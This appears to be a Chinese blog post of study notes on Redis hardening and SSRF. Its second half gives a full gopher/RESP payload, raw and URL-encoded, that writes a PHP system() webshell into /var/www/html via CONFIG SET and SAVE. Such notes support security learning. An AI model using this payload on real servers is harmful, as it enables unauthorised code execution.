这几天在做一个SSRF的漏洞练习,看到例子是拿Redis做演示,就顺手整理了一下Redis的安全内容。
Redis服务存在空口令
Redis配置文件中requirepass配置项(requirepass password)为访问口令,该配置项默认被注释即为空口令,攻击者无需暴力破解可直接连接到Redis。
修复方法:
将Redis的配置文件中requirepass配置项取消注释(#)
Redis服务以root权限运行
顾名思义,Redis不得以root权限运行,需要再创建一个非root用户。目的就是防止当前用户权限过大,以免做了不该做的操作。
Redis服务存在config命令配置未被修改
若未修改/root/redis/redis.config中默认的rename-command CONFIG设置项,攻击者可使用CONFIG命令对Redis的数据库文件位置进行修改和变更。通过在数据库中插入攻击者的ssh公钥信息,并执行bgsave命令可以将带有公钥信息的数据库文件写入被攻击者使用CONFIG命令指定的磁盘位置。CONFIG命令未做修改的情况下,攻击者可以很方便的完成这一攻击过程并最终获取操作系统权限。
修复方法:
将Redis配置文件中rename-command
CONFIG配置项更改为其他内容。
Redis SSRF漏洞
SSRF,服务器端请求伪装,利用可以发起网络请求的外部服务当做跳板来攻击内部其他服务。
在Redis的SSRF漏洞中,常用协议有Dict和Gopher。
Dict是字典服务器协议,一次只能执行一条语句,一些保留字符需要转义,只支持内联指令。
Gopher是分布型的文件搜集获取网络协议,可一次执行多条语句,\r\n及一些保留字符需要进行二次url编码,支持内联指令和RESP协议。
Dict常用格式为dict://IP:Port/命令:参数
Gopher常用格式为gopher://IP:Port/_TCP/IP数据
看到有的文章说下划线_可以替换为其他任意字符,我试的结果是不可以,识别不出来……
Gopher回车换行需要使用%0d%0a,如果是多个参数,多个参数之间的&也需要进行url编码,比如构造命令如下:
{"flushall"},
{"set","x","\r\n<?php echo system(\"ls /var/www/html/\");?>\r\n"},
{"get","x"},
{"config","set","dir","/var/www/html/"},
{"config","get","dir"},
{"config","set","dbfilename","x.php"},
{"config","get","dbfilename"},
{"save"},
{"quit"},
首先构造payload:
*1
$8
flushall
*3
$3
set
$1
x
$45
*2
$3
get
$1
x
*4
$6
config
$3
set
$3
dir
$14
/var/www/html/
*3
$6
config
$3
get
$3
dir
*4
$6
config
$3
set
$10
dbfilename
$5
x.php
*3
$6
config
$3
get
$10
dbfilename
*1
$4
save
quit
*1 代表数组的长度,以上表示只有一个,flushall
$8 代表字符串长度,数字可以大于等于实际的字符串长度。
将回车换行用%0d%0a替换,将?和/、空格等进行url编码替代,转成如下payload:
*1%0D%0A%248%0D%0Aflushall%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0Ax%0D%0A%2445%0D%0A%0D%0A<%3Fphp%20echo%20system("ls%20%2Fvar%2Fwww%2Fhtml%2F");%3F>%0D%0A%0D%0A*2%0D%0A%243%0D%0Aget%0D%0A%241%0D%0Ax%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A%2Fvar%2Fwww%2Fhtml%2F%0D%0A*3%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aget%0D%0A%243%0D%0Adir%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%245%0D%0Ax.php%0D%0A*3%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aget%0D%0A%2410%0D%0Adbfilename%0D%0A*1%0D%0A%244%0D%0Asave%0D%0Aquit
网友评论